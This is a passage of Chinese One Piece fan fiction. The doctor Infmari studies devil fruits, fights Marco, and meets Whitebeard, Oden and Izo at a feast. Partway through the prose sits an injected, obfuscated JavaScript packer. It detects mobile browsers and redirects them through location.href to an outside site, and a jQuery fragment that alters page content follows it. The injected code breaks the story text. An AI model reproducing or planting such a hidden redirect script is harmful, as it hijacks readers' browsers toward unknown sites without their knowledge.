杰里有些意外:“一年还不够久吗,我可是在船上吃了一年白饭哦。” 香克斯摇摇头:“你之前很害怕嘛,一年算不上什么的啦,伙伴之间也没有吃白饭的说法。” 巴基:“现在倒是勇敢起来了啊,胆小鬼就是想太多。” 杰里夸张地把他们二人的手抵上自己的额头,语调起伏地说:“哇!我也想像你们一样勇敢!” 巴基还是不习惯有人这么夸自己,脸红红地捏了一把他的手。 “勇不勇敢的都无所谓吧,混蛋!你好好说话啊!” 杰里没回话,饭厅里又安静了下去,香克斯和巴基都没有收回手,任由他用脑袋贴着。他们在海上长大,手没有平常小孩子软,但是热乎乎的。 香克斯看到杰里闭上了眼睛,淡金色的睫毛偶尔会抖一下。好像在祈祷,又好像在从他们的手中汲取力量,半晌才开口。 “别担心,香克斯,巴基。” 他抬起头,香克斯觉得自己之前的想法果然是对的,昏暗的灯光在这个动作下沿着对方浅金的发丝游走,好像反而是他在发着光—— “我可是茵弗玛利。” 是天使。 红发小少年没有把自己的联想说出口,只是笑嘻嘻地凑过去,用苦恼的语气说:“诶——那我们以后都要叫你茵弗吗?还是杰里?” 茵弗只是偏头顶顶他的脑袋:“叫哥哥。” 巴基:“你是真的很喜欢啊怪癖混蛋...而且搞那么多名字干嘛...” “因为我会像米森之前爱我那样爱你们呀~” “闭嘴啦——谁要你爱啊——” “炸弹不好玩吗?” “那本大爷还是可以考虑的...” 香克斯嗅着对方身上永远渗透的草药气息,明明就是带着苦涩的草腥味,可是并不讨厌。 ——在找不到人的一个半月后,他见到了茵弗玛利。 23.恶魔果实?青黄色的大鸟? 等茵弗终于可以下床离开医务室,巴//雷特早就离开了。 不用每天去挨揍的感觉很好,不过他目前也不能做运动,顶多在甲板上走一两圈。 训练什么的自然就搁置在一旁,他把注意力都放在了实验和制药上,改良自己曾经的药方,当然是由库洛卡斯监察效果,他自己拿不准什么叫''患者关怀''的度。 受伤之后倒是方便了自己仗着还在恢复,每天随机选一位幸运或者不幸的船员,趴在他们身上做吸盘鱼晒太阳。 而没有了巴//雷特频繁的挑战,罗杰的病痛听起来没那么尖锐了。 他不确定这是新药的效果还是减少打架带来的,不过他希望不要是后者。 在跟库洛卡斯说了之后,船上唯二的医生们同时感到头疼。 首先,罗杰是不可能不打架的,并且不可能不尽全力。 其次,自从□□跟他说了自己在被旧时的伙伴背叛后是靠着恶魔果实活了下来,他就猜想恶魔果实在对人的身体改造后也会带来某种自愈能力。 可是罗杰才不会吃恶魔果实呢。 至少在他和库洛卡斯的努力下,罗杰的身体还是稳定多了。 下滑,没错,但是减缓了不少。 真是难办,不过这也确实激起了他对恶魔果实的好奇。如果能遇到更多果实使用者,并且有机会理解他们的能力,甚至是果实本身的话就好了。 不过听到在拍卖或者黑市购买的价格还是让他吃了一惊 。 “那么贵一颗吗?也对,毕竟稀少又神奇。” 巴基点点头:“拿到一颗卖的话,就发啦。” 茵弗摸摸下巴,脑子里的天平上几亿贝利和恶魔果实在两侧摇摆。 “不过吃了的话不是会变厉害吗?''神秘的能力''。” 香克斯:“也有很奇怪的能力啦,变成葡萄什么的。而且不能游泳,面对海楼石的武器也很容易吃亏。” “我倒是无所谓,只是很好奇而已。有机会还是弄一颗看看吧?用不花钱的方式。” 茵弗削着土豆,在香克斯夸他很适合当海贼的时候弹了一块土豆皮到对方脸上。 “我可是得到了Dr.希鲁鲁克和Dr.库蕾哈的真传。” “噢!那个奇怪的医生大叔,还有船长说很凶的老婆婆。” 香克斯又把那块土豆皮丢回茵弗头上。 “是江洋大盗和高价神医。” 巴基乐了:“所以你从两个医生那学会了偷东西和诓钱?” 茵弗:“差不多吧~” 在他们的笑声里,芋头敲了敲他的脑袋。 “下次再偷冰箱钥匙就跟你的什么吐司牛奶都说拜拜吧。” - 茵弗想自己上次受的伤是真的吓到他们了。 也对,如果那把刀偏离了一毫米或者船医不是库洛卡斯的话,他早就完蛋了。 每次洗澡香克斯都会瞅那道贯穿了他腹部的巨大伤疤,还要上手摸一摸。 新愈合的伤口在他深色的皮肤上颜色显得更浅,就像刚蜕壳的螃蟹腿一样。 虽然他们总是念叨什么伤疤是男人的勋章,但是有时候茵弗怀疑香克斯在上面搓来搓去的是想要把它蹭掉。 新长好的皮肤还很娇嫩,被揉久了稍微有点酸痛感。 不过也许香克斯需要通过这种方式让自己安心一点,连着把他倒在甲板上像是要把全部的血流干的样子一起擦掉。 “你不喜欢的话,我新做的祛疤膏还是很好用的。” 巴基哼哼地插嘴:“你喜欢啊?那么大一条,还歪歪扭扭的。” 茵弗:“我无所谓啦,毕竟大伙那种坦荡的穿衣风格我还是穿不来。” 海贼好像都很喜欢皮肤露出,然后被海洋吹打得更加结实。 香克斯小小年纪也学着罗杰,衬衫永远要少扣几颗纽扣,就连雷利这个长得有几分优雅的人都把风衣敞得很开。 不过确实很帅就是了,那种健康的美丽。 这一年半无法避免的还是给他留下挺多伤疤,虽然除了脸上的伤痕外他都不怎么在意。 如果不是因为医生看起来太凶会吓到小孩,脸上的他都不会管。 看香克斯发呆,他转移了话题。 “话说吃了恶魔果实洗澡的话怎么办。是被浸没到一定程度就会脱力吗?不能享受泡澡好可惜诶。” 香克斯回过神,关掉蓬头后也跟在巴基后面往大浴池里钻。 “水浅就没事吧,而且有人一起的话也不会真的淹住。” “确实,不过什么时候去有温泉的岛啊——” 茵弗长叹一口气,整个人都懒懒地化在水里,在蒸腾的热气里会让人很想喝冰牛奶,即使他现在的肠胃还不能受刺激。 如果把恶魔果实榨成汁和别的果汁混在一起骗罗杰喝下去... 一定会被讨厌的吧? 不过如果真的对救他有帮助的话... 不行,还是先多了解一下吧。 今天的浴室里只有他们三人,不过也许是茵弗喜欢在下午洗澡,而不是晚上的原因。渐渐的就变成三个人一起在下午洗澡的习惯了。 巴基的小脸被熏得和他的鼻子一样红,香克斯一边游来游去一边吐泡泡,两人可爱得样子让他放松了不少,一边笑着一边往他们身上扬水。 当然还是要小心一点,弄得乱七八糟的话雷利又该骂了。 “恶魔果实也会沉到水底吗?”他抬起手臂挡住袭来的水花。 巴基:“别转移话题啊混蛋!水战本大爷可不会输的!” - 巴//雷特近来倒是成了热门话题,隔三差五地上报。 茵弗叠起手上的报纸,上面那个魁梧的背影看起来还是那么如钢铁一般坚毅。 应该是使用果实能力时的抓拍,模模糊糊地全是硬邦邦的棱角。 他在贾巴身上翻了个身,将报纸递给雷利。 “还很精神的样子呢。” 贾巴伸手捞住这个差点掉下去的小子,又往上抱了抱:“这下安心了吧,小狐狸。行了别乱动,晒你的太阳,过一会儿要起风了。” 茵弗哼哼两声,今天太阳很大,习惯穿黑色的贾巴身上被晒得暖暖的,他把手搭在对方压在自己身上的手臂上,对其中健康又强大的声音感到心安。 “话说他那个形态之前没见过诶,很大的铠甲。” 贾巴:“能力又开发了吧?估计离觉醒也不远了。” “觉醒?” 改造人类的身体,赐予能力,原来只是基础,甚至是''休眠''状态吗? 开发? “嗯,恶魔果实的觉醒就是......” 茵弗模模糊糊地听了一耳朵,又打了个大大的哈欠。 嗯...所以能力名称只是个范畴的感觉,有巨大的潜能可以开发,感觉很看一个人的想象力和行动力呢。 贾巴:“不过一般果实觉醒都是在生死之间顿悟的吧,那种不破不立的感觉?” 等了一会儿,怀里的小孩也没反应,估计是又睡着了。 有时候自己也挺想有茵弗的能力的,贾巴沉思着,轻轻地把手心放在了对方肚皮的位置。 - “好恶心。” !!! 茵弗震惊,茵弗大喊,“您在说什么!这种混合果汁能同时补充人所需的所有维生素!同时!” 他宝贝般地抱住有他大腿那么粗的果汁杯,“我已经起好名字了!就叫【一网打尽维生素果汁】!不对。【航海必备好喝果汁】!” 芋头狠狠灌了几口朗姆酒,却怎么也涮不掉嘴里那股又酸又涩还很腻的奇怪味道。 甚至还有点咸,带着一股土腥的苦涩余味,他真的不想知道里面都有什么。 “我不管,反正今晚的新年宴会你别想端出去!” “...真的那么难喝嘛?” 等等,他不会真的打击到小医生了吧,说实话也不至于难喝到...不,就是很难喝。 似乎看破了他脸上的犹豫,茵弗装作无辜地试探道:“唉,如此失败的话,我再往里面放一些东西也不会有什么区别了吧。” 芋头连忙拿过这杯勉强称得上是果汁的液体又灌了一口:“嗯....嗯!仔细品味的话应该...也许...没准也有救呢?主要是、额....它会、会跟我新买的香料撞的!对!” 那就是没救了啊,还好这不是真的什么维生素大全果汁。 茵弗憋着大笑的冲动,一边点头一边把那杯颜色诡异的果汁倒入下水道。 “再难喝也不会有恶魔果实味道差了吧?我听说那是世界上最难吃的东西诶。” 芋头悬着的心终于随着那杯液体的消失一起放下了,随口说笑道:“谁知道呢?我又没吃过。要是再往里面混点鱼腥味没准真的可能哦。” 茵弗的嘴角咧得更大了。 - 虽然断断续续的了解了很多 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自从他开始对恶魔果实投入极大的好奇,船员们商量着,在一次外出后神秘兮兮地弄来一本恶魔果实图鉴,大概是在某个贵族家里抢来的,并在新年,也就是他生日的那天送给他。 上面的蝴蝶结一看就是斯宾塞打的,端正又漂亮。 真是的,这怎么舍得拆啊。 他没事就翻看这本图鉴,偶尔在某几页上贴上便签做标注,用手指描摹上面相似的螺旋纹。 道路之间的堆叠——无限的可能? 真诱人啊,真诱人,难怪是恶魔。 茵弗咂咂嘴,再次希望能碰见可以让他好好听一听的能力者。 而这个机会很快就来了。 某一次靠岸后大家揍了一群海军,他习惯性在结束后才套上袍子下船。 本来以为没事了,树林中却突然窜出来一个手持双刀的大汉,霸道的招式被贾巴的双斧接下。 他刚走下踏板就被这一幕惊了一下,快速跃到准备战斗的香克斯和巴基身边。 “谁?我以为海军都被收拾掉了?” 香克斯表情严肃,虽然嘴角还沾着一点巧克力的痕迹。 “不是海军。” 他指向远处那个与船长的霸气撞在一起的高大男人—— “白胡子。” 香克斯想示意茵弗先回船上,毕竟自从金狮子那次之后大家多少对他受伤还是有点阴影,对方却已经又窜出去加入到战斗里去了。 往常的话,茵弗至少会好好听他们说完话,不过这次他的注意力被其他的东西吸引了。 一只冒着青黄火焰的...鸟? 他迎了上去,身上的衣袍被身旁卷起的狂风吹得铮铮作响,兜帽也掉了下来。 在那只巨鸟踢来时,自己还击的刀穿过了对方,却没有造成伤口。 恶魔果实? 这太完美了。 反正他本来剑术就一般,茵弗收起刀,举起双拳,上面漆黑的武装色在阳光反射下泛起一丝白光。 对方显然没料到还有打架突然收刀的,停顿的一瞬被他狠狠地在胸口怼了一拳。 马尔科的确没想到一个看起来不大的的家伙居然会霸气。不过罗杰海贼团上很少有能力弱的,之前没见过,新人吗? 虽然他不会对一个孩子下死手,哪怕他们是敌对的海贼。 本来他也只想把对方踢出战圈而已,可是这小子打人居然还真的挺痛的,在他吃惊的短短时间已经又在他的翅膀两侧,甚至是喙上来了几拳,就好像在试打哪里他会更痛一样。 年仅二十岁的不死鸟也有点生气了,翅膀一扇就腾空拉开了二人的距离,身体也恢复到了半人的形态。 “小子,你叫什么yoi” 面前深皮肤的小鬼蹦跶了几下,看够不到他后居然很乖的站直了,“您好,漂亮的鸟先生,我叫茵弗玛利。” 马尔科觉得有点好笑,怎么还有这样的海贼,还没开口呢对方居然捡了几个石头试图往他身上丢。 “您鸟的状态和现在的状态身体脆弱的点不一样吗?恢复速度呢?那些火是在自愈吗?” 好吧,他果然是在试打他哪里会更痛,怎么还直接问的啊?? 小不死鸟觉得他还是得给这小子来几脚。老爹说了,做海贼可不能憋屈。 “谁会...告诉你啊yoi!凤凰印!!” 24.初遇白胡子海贼团 这场战斗持续了三天三夜,是茵弗打过过最久的架。 当然中间双方部分船员都有休息,只是两位船长打得最爽。 至少尽兴到已经莫名其妙开始开宴会了。 茵弗对上马尔科,最后当然是打输。其他的不说,能飞家伙都是麻烦,还是会自动自愈的能力,他还没学会怎么把自己的霸气流到武器里。 不过他们也不是在打生打死,不然也不会跟他打三天。 茵弗不怎么在乎输赢,他心情不错,琢磨着怎么去跟对方套近乎,好好聊聊恶魔果实的事情。 不远处的罗杰和白胡子船长喝着酒,还有那个一下子冲出来攻击他们的怪人,发型比希鲁鲁克的还奇怪。 “喂,香克斯,茵弗,听说那家伙不用睡觉诶。” 看来巴基对他改良后的伤药很满意,手里端着几份烤肉走过来,把堆得最高的递给茵弗。 他饭量其实不大,在吃了很久的流食之后更是如此。不过他还是在感谢后努力地往肚子里塞,顺着巴基的手指看过去,目光落到了一个有着黑长卷发的胖家伙身上。 香克斯:“诶?还有这样的人吗?他叫什么?” 巴基:“好像是什么蒂奇...” 茵弗歪着脑袋看了一会儿,用很专业的语气说:“蒂奇睡觉的几率是37%” 香克斯:“诶?你怎么知道?” 茵弗:“因为我瞎说的。” 香克斯已经习惯他偶尔会突然满嘴瞎话了,真不知道是好事还是坏事,听他这么说只是笑着顶顶他的肩膀,继续低头攻击盘子里的烤肉。 不睡觉的话...不是可以比平时的人多一倍的思考与行动时间吗?他也好想有这种能力啊...是可以后天练的吗?要不要去问问? 诶?他看过来了? 茵弗礼貌地回了个笑容,距离的原因,好像模糊地看到了几颗缺掉的牙齿。 这次的宴会没有音乐,让他觉得有点可惜,不过吃的很不错,那个怪人大叔在一个大锅里煮着什么,闻起来很香,让吃惯了宴会烤肉的他难得地有点期待。 双方算是敌对的海贼,不奏乐也正常,但是与其说是敌人,更像是和卡普的那种关系。 刚听到香克斯这么说的时候真是吓了一跳,还好没有在被逼急的时候真的用全力去在马尔科身上用内部破坏。 虽然可以自愈,打在很脆弱的地方的话还是很危险的。 他下次一定好好听人说完话再跑。 “你在看马尔科?” 香克斯把脑袋搁到他的旁边,顺着他的视线张望。 “马尔科是挺强的,下次就会打赢他的啦!没事的!” 茵弗笑着摘下他戳在自己脸上的草帽,又狠狠地扣在对方脸上。 “唔噗——” “我知道啦——!小红仔!不要不摘帽子就突然凑过来——” 香克斯:“有什么关系嘛——” 茵弗:“就算我习惯了,你也要好好珍惜你的草帽啊,帽檐本来就很脆弱的,又不是什么皮帽子。” 不过他确实在观察马尔科,不只是马尔科,还有那个可以变得亮闪闪的的大高个,还有下巴上有口袋的人,那位船长好像也有果实能力,挥拳就能引起震动....真的馋死了哇。 而被他观察的人在自己的座位上,故作成熟地努力不要扭来扭去。 “他还盯着你呢,马尔科。”以藏调笑道,“跟一个小不点打那么久你也真是的,而且还真的被揍了。” 马尔科抗议:“他下手可黑了!就跟能莫名其妙知道你哪里最薄弱一样,你去挨几拳就知道了yoi!” 他有些咬牙切齿,到后面他完全放弃全兽化了,那小子还很失望的样子,“而且哪有那么小的家伙武装色破坏用得那么好的啊yoi,他看起来也就跟另外两个实习生差不多大吧?” 还好他赢了,不然真的超级丢脸。 不过现在兄弟们的调笑也让他很羞恼就是了。 以藏挑了挑精致的眉,“那确实挺强的啊,难怪在罗杰船上。不过他怎么就盯上你了?当时可是奔着你就冲过来了。” 马尔科也不清楚,闷闷地灌了一口酒,“不知道yoi,不过他一直在问我关于恶魔果实相关的事情,可能第一次见到幻兽种?” 他还想好好找一个罗杰船上老练的船员练手的,结果被一个小家伙缠住了也很郁闷,还总是说一些奇怪的话让他一时上头就打下去了。 自己还是需要多加训练啊,不管是力量还是心性上,都得成为像老爹那样沉稳的大海贼才行! “他们在喝酒吗?”茵弗很夸张地小声嘀咕道,“哇!年纪轻轻就好伤肝!” 海上航行过程中,淡水是十分珍贵的,很多时候水手们都是朗姆酒和水掺着喝。所以其实无所谓。 不过他知道香克斯想偷酒喝很久了,就是说给他听呢! 果然,香克斯瞅瞅他,又瞅瞅不远处的白胡子海贼们,“也没事吧!宴会当然要喝酒啊,对吧巴基!” 巴基哼笑了一声,也加入了香克斯,不喝酒算什么海贼啊! “你不是很会偷吗?怎么不去那个把你揍了一顿的家伙那偷点酒回来?” 糟糕,巴基居然也加入了,没想到开出去的炮火砸在了自己身上。 茵弗在他们俩开始叫哥哥之前及时地堵住耳朵,给十三岁的弟弟们偷酒这种事情一个好哥哥是不会做的! 那个大叔开始分锅里的东西了,他赶紧借机溜掉,虽然已经不饿了,不过就那种没闻过的香气不吃是在可惜。 “谢谢您!先生!” 哦天呐这是什么,亮晶晶温暖的汤汁,煮的绵软的蔬菜和魔芋? 这种类型的食物很适合做药膳诶! 他端着碗,准备先趁热吃了再找时间询问,现在打扰人家太不合礼仪。 不过对方独特的称呼还是让他有些疑惑地停下脚步。 “不客气!小阁下!” 阁下? 他对正好也端着碗走过来的香克斯询问,“香克斯,''阁下''是哪里的称呼?” 香克斯摇摇头,但是茵弗注意到了听到他之后望过来的...女人?男人?和那个大叔穿着类似的衣服,坐在跟他打架的马尔科旁边。 他走过去,很自然地在他们身边坐下,当然隔了些距离,板正地开口:“打扰了各位,马尔科先生。” 他微微弯腰,“我是茵弗玛利。” 这群家伙哪里被这么礼貌地打过招呼。一群人慌乱地挥着手,七嘴八舌地自我介绍,淹没了不死鸟狐疑的眼神。 “原来您是以藏先生,名字也很特别呢。” 茵弗微笑着对这个在招呼过程中最冷静的人点了点头,真是漂亮的人呀,当然他也这么说了。 “您真美丽,阁..下?” 以藏被这个机灵的小少年逗笑了,示意对方坐到自己身边。 “你也很可爱,小阁下。” 茵弗在继续聊天和吃碗里的食物之间犹豫了一下,最后还是喝了一口汤,立马就被鲜亮的味道俘获味蕾,发出小小的赞叹。 以藏:“这是关东煮哦,御田大人的拿手美食。” 茵弗点头:“原来那位先、阁下叫御田,关东煮是哪里来的?我出海之后从来没吃过类似的食物。” 虽然只是一个小小的改口,不过以藏还是心里感到一种被尊重的舒服,马尔科就是太夸张了,这么乖的人下手也黑不到哪去吧。 “是和之国,我们来自和之国。” 他看出茵弗有点拘谨,也许是不想冒犯到没接触过的文化,所以率先拿起筷子吃起了自己的那份关东煮。 果然对方放松了下来,也举起勺子,一会儿尝尝萝卜,一会儿咬咬海带。嘟嘟囔囔地回答他们的问题。 “是的,我出海...不长不短的时间吧,两年左右..” “来自北海,不过在伟大航路的磁鼓岛生活了很久...” “嗯嗯...霸气学了一年多...不..也没有那么厉害...打不过马尔科先生...” 随便聊了一会儿,以藏发现茵弗玛利总把一些话题往马尔科和乔兹,准确的说是他们的能力身上拐,偶尔手指还抽抽,很想上手摸的奇怪样子。 乔兹有些尴尬,还是盯着马尔科不赞成的目光把手变成了钻石给对方展示。茵弗果然摸了上去,不过没有试探硬度,也没有研究纹路,就只是...搭着。 “诶....居然是这样的...” 马尔科:“我就说你总是一边打我一边抓着我肯定有什么目的吧yoi!你也吃了恶魔果实?什么能力?”他指指乔兹,“小心点yoi,下一秒这家伙就知道打你哪里最痛了喂。” 茵弗被逗笑了,对着乔兹感谢地点头,又开始吃碗里的关东煮。 “先生,您也打得我很疼诶。” 不过知道一个人哪里挨打会痛可不是战士的专属知识,医生也一样,甚至会更精准。 以藏拍拍马尔科的腿,示意他消停,“医生?你是船医吗?” 茵弗:“啊,算是吧,不过我不是海贼,我只是医生。” 他岔开了话题,“白胡子船长是什么能力?看起来很帅。” 马尔科觉得至少这家伙还算有眼光:“老爹当然很帅!震震果实可是最强的果实yoi。” 对于这位给了他们这群失落的无家可归者一个归属的老爹,自然让这群本来还有点尴尬的年轻人打开了话匣子。 白胡子威名在外,他人眼中强大凶恶的大海贼对他们来说只是一位伟岸的父亲,莫比迪克就是他们最安全的避风塘。 茵弗被他们言语中汹涌的敬佩与爱意淹没了,思索着什么''一脚踢飞巨型海王类''里面有多少夸张的成分。 他趁马尔科分神玩着他的手指,好像能听见对方身体里不死鸟充满幸福的鸣叫。 难怪是能和罗杰打完架喝酒的人,除去那些夸大的成分,也能听出来是一位气魄与灵魂都很磅礴的人。 不过还没来得及问他们为什么叫白胡子''老爹'',他就被斯宾塞叫走了。 “猫崽,船长让你过去一趟。” 距离并不远,不过从马尔科他们那里听了不少白胡子的事后,他犹豫了一下,还是从斯宾塞那里要了一杯酒。 跟罗杰打过招呼后,他转向另外二位,“御田阁下,白胡子先生。” 面对后者时,他端详了一下那个据说曾经一脚踢破军舰,踹飞海王类的,比他还高的靴子,努力抬高手臂做了个敬酒的姿势。 “初次见面,敬您,先生。” 酒只有半杯,不过杯子还是挺大的,他努力喝了一点就放在一边,在罗杰的示意下坐到他身旁。 “干嘛啊小黑——你都没跟我喝过酒吧。” 不是很好喝,他回去得告诉香克斯和巴基。 “真是失礼,那我现在和您喝?不过我只是听比斯塔先生说了一些白胡子先生的事,感觉是很重视一些喝酒的礼仪类东西。” 说完他又端起酒杯,和罗杰巨大的酒碗碰了碰后喝了一口。 嗯...难喝。 “咕啦啦啦啦!”白胡子独特的笑声响起,也举起酒碗对他示意了一下,大口灌了下去。 “就是他啊,罗杰,你找到了个有趣的小家伙。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14790629|154812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罗杰得意地笑笑,至少这次没有把他像炫耀小动物一样拎起来,“是吧?” 茵弗:“您找我什么事?” 罗杰:“噢,纽盖特说他可能知道类似你的能力。” 这倒是让他意外了。而且,【纽盖特】(Newgate)? 白胡子点点头:“不过我不确定,感觉还是有点不同的。” 那很好,这很好。即使只是类似,如果有可以参考的实例,他对于能力的提高就不用再这么缓慢了。 而他最缺的就是时间。 茵弗有些迫不及待地起身,拍掉身上的尘土:“您要感受一下吗?” 对方还举着酒碗,所以他攀着白胡子的裤子就往上爬。 白胡子本来准备放下酒杯的手一顿,低下头去看凑到自己身边来的小不点。对他来说只有自己指节那么大的小手,抚在自己的腹上。 从他的角度看不到这小鬼的神情,他没什么感觉,不过能感觉到他的认真,就像是透过岩石感受地心的波动一样。 他没想到自己的联想恰好印证了茵弗的感受,白胡子很强,这几天的战斗也不可避免地受了伤,不过,最让他感到震惊的正是那股''地心的波动''。 来自于他的恶魔果实。 除了罗杰和卡普之外,他第一次听到这么巨大的声音,他手臂里的骨头好像都在强力的波动下发出了不堪负重的嘎吱声,很疼。 不是个好苗头。 他出了些冷汗,又蹙着眉,罗杰大概是担心他的状态,呼唤他差不多就下来。 不过,恶魔果实,他需要了解它。 乔兹和马尔科身上都没有这种声音,是开发程度的原因?还是果实本身的原因? 他试着屏蔽掉那些与伤痛碰撞着的强大轰鸣,忽略那些伤口本身的嘶喊,努力去捕捉那股在白胡子身体里四处撞击着的声响。 “会很痛吗?” 白胡子挑眉,他当然注意到了这小子被影响了,只是被什么影响他并不清楚,应该就是罗杰说''听''到的声音吧。 不过这几天的战斗只会让这位大海贼感到痛快,别的都沉淀在酒坛里。即使受了伤也是如此,也是自然。 所以他说:“不痛。就凭罗杰还想打痛老子?” 茵弗却好像没听见他一样,也没给罗杰回答:“您能用一下能力吗?” “咕啦啦啦,真是胆大的小鬼!”纽盖特没在意,配合地随手对虚空一弹,引起空气的一阵波动。 茵弗却皱了皱鼻子,好像被什么噪音侵扰了一样:“恶魔果实会....不,没什么。” 他终于收回手,往白胡子腿上一坐,仰头看向他。 “会痛的。” 恶魔果实怎么了? 还没等他询问,罗杰的大嗓门就传了过来,竖起大拇指。 “不愧是我们杰克逊号的孩子!没错!敌人船长的大腿也是坐的得的!” 也许是音量,也许是他的话,茵弗立马起身从白胡子腿上跳下去,窝到罗杰怀里前还回身鞠躬,“失礼了,先生,我的建议是多注意内伤。” 罗杰熟练地从兜里翻出一副手套替他戴上,又捏捏他的手,语气放软了一些:“怎么样?” 茵弗:“胳膊疼。” 罗杰:“哇,那不是还挺厉害的吗!” 茵弗:“嗯哼。” 等着他慢慢恢复的时候,罗杰又看向白胡子,“怎么样,纽盖特,跟你知道的差不多吗?” 白胡子只是默默将他们的互动与反应收入眼底,又第三次告诉御田,不,老子不痛。 “确实不像是聆听万物之声,但是与我知道的那位也不全然相同。” 鱼人岛的乙姬王妃,天生就有着强大的见闻色霸气。可以与他人的思维情绪强烈共鸣,并将自身的意识传达给他人。 “与生俱来,无形感知,受影响,这几点确实很像。而且都能''听''到某种【声音】。” 罗杰搓着胡子:“所以雷利猜的没错?到底还是见闻色啊...” 白胡子:“也不一定,乙姬不需要通过接触去触发能力,见闻色也不需要。” 罗杰思考了一下,嗯...想不明白,那就和雷利商量了再说。 他拍拍怀里的少年,指指找过来的香克斯。 茵弗果然欢快的跑了,走之前还挥打了一下他的胡子,小猫拍虫子的样子逗得他哈哈笑。 等他们俩走远,白胡子还听到了两个人的交谈。 “茵弗,我看到你喝酒了,作弊。” “被抓到啦,还剩一点你要吗?不过真的味道一般诶,又辣又苦。” “要的!” “白胡子先生的胡子又白又胡子,厉害的海贼船长是都会有很厉害的胡子?你以后也会?” “诶?这我不清楚,不过船长的胡子确定很帅...” ''又白又胡子''是什么形容,白胡子觉得有点好笑,好奇地询问罗杰哪找来的这小子。 罗杰端起酒碗回忆了一下,请他喝了一瓶浊酒的庸医兄弟摘下了他的高礼帽,向他这个恶名昭彰的大海贼弯腰—— “请带他去大海上吧,罗杰船长,他必需对生命感到尊敬,珍惜,或是一些别的什么,才能好好做医生。如果能找到这缺失的一分,他将会是您最好的茵弗玛利。” 而他怎么回答的来着? 他已经很好了? “罗杰兄弟,在下的妻子身体羸弱,近来生产后更是如此,能否请小医生阁下一观?” “当然了御田!如果你上我的船肯定有机会的啦哈哈哈哈哈,那小子心软嘛。” “喂——!罗杰!!!” 25.前往鱼人岛 交换礼物的环节,茵弗很喜欢,虽然都是一些战利品之类的东西,但是这个活动本身很有趣。 白胡子海贼团的人跟他说了话的就那么几个,他不确定是就一份就好还是每人一份。总之选了半天总算还是勉强凑够,他的藏品真的不多了。 他找到以藏他们,将装好的礼物一份份递到他们手中。 “比斯塔先生,这是布里科岛的木梳,有一种独特的香气,而且我很喜欢这种天然的紫色。” “以藏阁下,这是...我混的干花,一般会用来做染色剂,这一束的话,比较适合红色,您可以自己搭配,不过只是插在花瓶里或者做书签都行,我特意选了好看一些的...” “乔兹先生,这是很适合做茶泡饭的茶叶,来自著名的特耶岛,这一盒我觉得是吃起来比较清爽的类型,不知道您是否喜欢。” “拉克约先生....” 大伙儿都觉得有点不好意思,一般海贼之间赠礼都是些珍稀的财宝和酒,很少有这么私人的东西,不过茵弗还是很高兴的收下了他们给的古董金币和珍珠项链一类的东西。 钱当然是很好的礼物啦。 马尔科不知道他会收到什么,毕竟打了架,之前在吃饭的时候自己也因为羞恼也没怎么好好交流。 有些忐忑得地等轮到自己,是...一张纸? 他有些费劲的读着上面的字,大概是食谱一样的东西。 “马尔科先生,这是...药膳,我自己研究的。您可以先给您们的船医和厨师看一下,可能味道有点吃不惯,可以按白胡子先生的口味改良。” 按老爹的...? 面对他的疑问,茵弗挠了挠脸,“嗯...白胡子船长...内伤可能会比一般人更难恢复一点,长期下去的话...”他示意了一下马尔科手里的纸,“这只是食物上的一点帮助,毕竟他说他不痛。” 以藏:“你怎么知道的?” 茵弗耸肩:“我是医生嘛。” 马尔科:“这算助敌吧?” 茵弗疑惑歪头,卡普也说过类似的话,这些家伙怎么都这样,都一起喝酒换礼物了诶。 “什么敌?我们现在又没在打架,我是医生啊?而且,只是一份食谱而已,又不是药,您们吃不吃的我都没什么关系。” “我只是蛮喜欢【新的门扉】(Newgate)这个名字的。” 好吧好吧,不管这份食谱有没有用,众人都一致觉得,他们果然不讨厌这小子。 不过,老爹的内伤会很难恢复? 库洛卡斯也有同样的疑问,茵弗对他解释时说的更清楚一些,脸上带着点丧气的神色。 “是恶魔果实,先生。” 他基本找各种各样的理由在白胡子船上每一位使用果实的人身上听过了,也问了不少问题,总之目前的猜测是某些果实的确会带来一定的治愈力,甚至可以说所有的果实可能都有,但是想要知道什么原因还是需要一颗果实来研究。 每一个吃了果实的人都多了一道声音,根据果实的不同而改变。 乔兹的结构是坚固的,但不是无坚不摧;马尔科的不死鸟是鲜活的,一个活生生的幻兽是他也不是;□□可以不同组装,零件之间格拉格拉地响。 他们在自我修复时都有属于自己的声音。 至于白胡子,震震果实是【震动】本身,也就是双向作用,强大的同时不可避免地会对人体内部造成一定的反击力。 而本来就在不断的战斗中积累的伤痛在不止歇的冲击下自然很难痊愈,只能变成一道道没有健康愈合的伤疤,堆叠在体内。 关于开发与觉醒,他的理解就是''如何去使用某种工具''和''如何将工具变为自己的一部分''的区别。 而一个人是否能用好它,活下来,还是要看使用者自身的意志与生命力。 所以就算罗杰真的吃了恶魔果实,也许只是能让他活的长一点,别的帮助他真的说不上来。 即使他变成一团火,一道闪电,他仍然是罗杰。 疾病已经在他的身体里,所以也会在火里,在闪电里。 受伤的话,也许那一瞬间的细胞改造会救命,但是生病,他不确定是否还来得及。 “我会继续想办法,先生。”茵弗捏着鼻梁,在头脑里删除之前一系列的推测与准备,同时列出新的可能,“这只是我初步了解后的猜测,具体的话还需要进一步实验学习,但是您也知道,恶魔果实又不是街边摊上卖的苹果。” 不过...他当然也想过别的选择。 他跑回船舱,拿出那本图鉴翻了起来,自己有标注几个很特别的果实。 如果罗杰不吃而是别人吃。 肉球果实,治愈果实,手术果实。 只是他不知道哪一个会更难一点,找到这些果实,自己快速学会使用它们,或找到他们的使用者,祈祷他们已经熟练到能帮上忙;再者找一颗不那么奇怪的果实给罗杰,希望其中供给的生命力足以延续到他能治好他。 他盯了一会儿手术果实的介绍,又在荷尔蒙果实那页加上标注。 对了,还有能力的问题,需要尽快提高到能彻底听明白罗杰的绝症才行。 毕竟如果有不用果实的办法最好。 白胡子船长说什么来着?鱼人岛,乙姬王妃。 有时候他有点后悔自己被恐惧拖了这么久才开始,现在他太需要时间。 